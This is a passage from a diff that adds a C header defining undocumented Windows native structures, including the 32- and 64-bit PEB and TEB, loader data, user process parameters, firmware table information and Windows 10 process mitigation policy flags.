MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_RANGE_ENTRY { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION { + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get, + SystemFirmwareTableMax +} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +// 32-bit definitions +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 { + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 { + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 { + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 { + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ReservedBits0 : 25; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 { + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 { + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _GDI_HANDLE_ENTRY { + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY { + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#ifndef FLS_MAXIMUM_AVAILABLE +#define FLS_MAXIMUM_AVAILABLE 128 +#endif + +#ifndef TLS_MINIMUM_AVAILABLE +#define TLS_MINIMUM_AVAILABLE 64 +#endif + +#ifndef TLS_EXPANSION_SLOTS +#define TLS_EXPANSION_SLOTS 1024 +#endif + +#ifndef DOS_MAX_COMPONENT_LENGTH +#define DOS_MAX_COMPONENT_LENGTH 255 +#endif + +#ifndef DOS_MAX_PATH_LENGTH +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) +#endif + +typedef struct _CURDIR { + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; + PVOID PackageDependencyData; //8+ + ULONG ProcessGroupId; + // ULONG LoaderThreads; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ProcessImagesHotPatched : 1; + ULONG ReservedBits0 : 24; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; +} PEB, *PPEB; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB { + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[32]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** MITIGATION POLICY START +*/ + +//redefine enum + +#define ProcessDEPPolicy 0 +#define ProcessASLRPolicy 1 +#define ProcessDynamicCodePolicy 2 +#define ProcessStrictHandleCheckPolicy 3 +#define ProcessSystemCallDisablePolicy 4 +#define ProcessMitigationOptionsMask 5 +#define ProcessExtensionPointDisablePolicy 6 +#define ProcessControlFlowGuardPolicy 7 +#define ProcessSignaturePolicy 8 +#define ProcessFontDisablePolicy 9 +#define ProcessImageLoadPolicy 10 +#define ProcessSystemCallFilterPolicy 11 +#define ProcessPayloadRestrictionPolicy 12 +#define ProcessChildProcessPolicy 13 +#define ProcessSideChannelIsolationPolicy 14 + +typedef struct tagPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD MicrosoftSignedOnly : 1; + DWORD StoreSignedOnly : 1; + DWORD MitigationOptIn : 1; + DWORD AuditMicrosoftSignedOnly : 1; + DWORD AuditStoreSignedOnly : 1; + DWORD ReservedFlags : 27; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD ProhibitDynamicCode : 1; + DWORD AllowThreadOptOut : 1; + DWORD AllowRemoteDowngrade : 1; + DWORD AuditProhibitDynamicCode : 1; + DWORD ReservedFlags : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10, *PPROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD EnableControlFlowGuard : 1; + DWORD EnableExportSuppression : 1; + DWORD StrictMode : 1; + DWORD ReservedFlags : 29; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10, *PPROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_FONT_DISABLE_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD DisableNonSystemFonts : 1; + DWORD AuditNonSystemFontLoading : 1; + DWORD ReservedFlags : 30; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_FONT_DISABLE_POLICY_W10, *PPROCESS_MITIGATION_FONT_DISABLE_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD NoRemoteImages : 1; + DWORD NoLowMandatoryLabelImages : 1; + DWORD PreferSystem32Images : 1; + DWORD AuditNoRemoteImages : 1; + DWORD AuditNoLowMandatoryLabelImages : 1; + DWORD ReservedFlags : 27; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10, *PPROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10 { + union { + ULONG Flags; + struct { + ULONG FilterId : 4; + ULONG ReservedFlags : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10, *PPROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10 { + union { + ULONG Flags; + struct { + ULONG EnableExportAddressFilter : 1; + ULONG AuditExportAddressFilter : 1; + ULONG EnableExportAddressFilterPlus : 1; + ULONG AuditExportAddressFilterPlus : 1; + ULONG EnableImportAddressFilter : 1; + ULONG AuditImportAddressFilter : 1; + ULONG EnableRopStackPivot : 1; + ULONG AuditRopStackPivot : 1; + ULONG EnableRopCallerCheck : 1; + ULONG AuditRopCallerCheck : 1; + ULONG EnableRopSimExec : 1; + ULONG AuditRopSimExec : 1; + ULONG ReservedFlags : 20; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10, *PPROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10; + +typedef struct tagPROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10 { + union { + ULONG Flags; + struct { + ULONG NoChildProcessCreation : 1; + ULONG AuditNoChildProcessCreation : 1; + ULONG AllowSecureProcessCreation : 1; + ULONG ReservedFlags : 29; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10, *PPROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10; + +typedef struct _PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD SmtBranchTargetIsolation : 1; + DWORD IsolateSecurityDomain : 1; + DWORD DisablePageCombine : 1; + DWORD SpeculativeStoreBypassDisable : 1; + DWORD ReservedFlags : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10, *PPROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10; + +typedef struct _PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10 { + union { + DWORD Flags; + struct { + DWORD DisallowWin32kSystemCalls : 1; + DWORD AuditDisallowWin32kSystemCalls : 1; + DWORD ReservedFlags : 30; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10, *PPROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10; + +typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION { + PROCESS_MITIGATION_POLICY Policy; + union + { + PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy; + PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10 SystemCallDisablePolicy; + PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy; + PROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10 DynamicCodePolicy; + PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10 ControlFlowGuardPolicy; 